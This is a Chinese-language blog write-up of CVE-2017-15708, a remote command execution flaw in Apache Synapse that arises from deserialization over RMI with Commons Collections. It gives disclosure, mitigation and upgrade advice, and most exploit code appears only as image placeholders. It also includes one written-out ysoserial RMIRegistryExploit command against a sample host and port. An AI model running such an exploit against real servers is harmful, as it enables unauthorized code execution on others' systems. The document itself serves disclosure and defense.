JAVA安全网JAVA安全网

生命不息,折腾不止。
--JAVA人自留地。

[CVE-2017-15708]Apache Synapse远程命令执行漏洞分析

Author:Sevck

0X00 介绍

Apache Synapse是一种轻量级的高性能企业服务总线(ESB)。Apache Synapse由快速和异步的中介引擎提供支持,为XML、Web服务和REST提供了卓越的支持。

0X01 分析

我们知道,完成反序列化漏洞需要存在两个条件:

  • 存在反序列化对象数据传输
  • 有缺陷的第三方lib库,例如Apache Commons Collections

在FoxGlove Security安全团队的@breenmachine的博文中,总结了非常全面可能使用反序列化的地方:
在HTTP请求中

  • RMI,RMI在传输过程中一定会使用序列化和反序列化
  • 基于HTTP的RMI,同样100%使用序列化对象
  • JMX
  • 自定义协议

由于Synapse业务功能的特殊性,默认启动并使用了RMI:
1.png
2.png
现在我们知道,服务启动了RMI,并且默认绑定到0.0.0.0中,完成反序列化漏洞的2个条件之一已经完成。
RMI在传输过程中,必然存在使用序列化和反序列化。在Apache Synapse 3.0.1之前的版本中,默认使用Apache Commons Collections库。
3.png
4.png
5.png
在Apache Commons Collections小于等于3.2.1版本中,存在反序列化漏洞, Commons Collections漏洞成因本文不再重复累赘。

0X02 利用

由于攻击的两个条件目前我们已经达成,编写payload:
构造恶意Transformer链:
6.png
生成Payload,发送RMI反序列数据:
7.png
运行结果:
8.png
在ysoserial工具中也集成了CommonsCollections的Payload:

java -cp ysoserial-master-v0.0.5-gb617b7b-16.jar ysoserial.exploit.RMIRegistryExploit 192.168.197.25 1099 CommonsCollections1  "touch /tmp/apache_synapse"

0X03 缓解

删除掉项目Apache Commons Collections中的org/apache/commons/collections/functors/InvokerTransformer.class文件

0X04 修复

升级到官方提供的最新版本Apache Synapse 3.0.1

时间轴

2017-11-10 发现漏洞
2017-11-13 报告漏洞
2017-12-05 官方发布3.0.1修复漏洞,赋予漏洞CVE-2017-15708
2017-12-11 对外公开漏洞

参考链接

http://www.openwall.com/lists/oss-security/2017/12/10/4
http://synapse.apache.org/download/3.0.1/download.cgi
http://synapse.apache.org/index.html

未经允许不得转载:JAVA安全网 » [CVE-2017-15708]Apache Synapse远程命令执行漏洞分析

评论 1

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址